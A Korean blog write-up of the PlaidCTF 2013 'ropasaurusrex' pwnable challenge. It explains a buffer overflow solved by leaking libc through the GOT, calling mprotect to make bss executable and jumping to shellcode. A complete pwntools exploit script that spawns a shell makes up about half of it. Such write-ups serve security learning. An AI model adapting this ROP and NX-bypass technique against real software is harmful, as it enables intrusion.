인터넷에 풀이가 많이 있는데, 대부분 GOT덮고 system 함수를 부르는 방법이다. 쉘코드를 올려서 푸는 방법으로 풀이 해보고자 한다.



바이너리에는 NX가 걸려있기 때문에 바로 쉘코드로 뛰면 segmentation fault가 뜰 것이다. 

그래서 mprotect 함수로 실행 권한을 풀어주고, 그쪽으로 뛰어주면 되겠다.


시나리오는 다음과 같다.

1. GOT를 이용해 libc 릭

2. 취약한 함수를 다시 불러서 오버플로우를 한 번 더 발생시킨다.

3. mprotect 함수로 bss에 rwx권한을 모두 준다. (prot=7)

4. read 함수로 bss에 쉘코드를 받는다.

5. read 함수가 끝나고 쉘코드 주소로 뛴다.


앞서 언급한 GOT를 덮는 방법으로 풀어본 경험이 있다면, 페이로드를 짜는데 특별히 까다로운 점은 없을 것이다.

쉘코드는 복붙해오기도 귀찮으니 shellcraft를 이용해 쉘코드를 가져오자.

그리고 pwntools의 ROP 기능을 이용해 꿀을 빨도록 하자.

from pwn import *

p = process('./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d')
e = ELF('./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d')
libc = e.libc

bss = e.bss()

print 'bss :', hex(bss)

rop = ROP(e)

payload = "A"*140
rop.write(1, e.got['read'], 4) # leak read got
rop.raw(0x80483f4)
payload += rop.chain()
p.send(payload)

leak = u32(p.recv(4))
libc.address = leak - libc.symbols['read']

print 'libc base :', hex(libc.address)

rop = ROP(libc)

payload2 = "B"*140
rop.mprotect(bss & 0xfffff000, 0x2000, 7) # bypass NX
rop.read(0, bss, 0x100) # read shellcode on bss
rop.raw(bss)
payload2 += rop.chain()
p.send(payload2)

shellcode = shellcraft.sh()
p.send("\x90"*20+asm(shellcode))

p.interactive()

사실, read 함수나 write 함수의 GOT를 mprotect 함수의 주소로 덮어도 무방한데,

ROP 도중 취약한 함수를 다시 부른다는 것이 이 익스플로잇의 핵심이다.

'write-up > pwnable' 카테고리의 다른 글

PlaidCTF 2013 ropasaurusrex  (0) 2019.07.11
Codegate 2018 BaskinRobins31  (0) 2018.08.18
Codegate 2014 Nuclear  (0) 2018.08.14
Codegate 2014 Angrydoraemon  (0) 2018.08.09
Codegate 2017 babypwn  (0) 2018.08.09
Posted by 범고래_1